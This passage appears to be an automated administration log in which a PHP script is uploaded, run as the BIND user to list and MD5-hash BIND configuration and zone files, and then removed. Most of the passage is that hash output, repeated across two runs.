MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 12:32:41: Establishing a connection
2026-04-24 12:32:41: 

PUT: /tmp/pkp336518

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 12:32:41: 

runuser -l bind -s /bin/bash -c '/tmp/pkp336518; rm /tmp/pkp336518'

2026-04-24 12:32:41: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 12:33:26: Establishing a connection
2026-04-24 12:33:26: 

PUT: /tmp/pkp286984

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 12:33:26: 

runuser -l bind -s /bin/bash -c '/tmp/pkp286984; rm /tmp/pkp286984'

2026-04-24 12:33:27: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
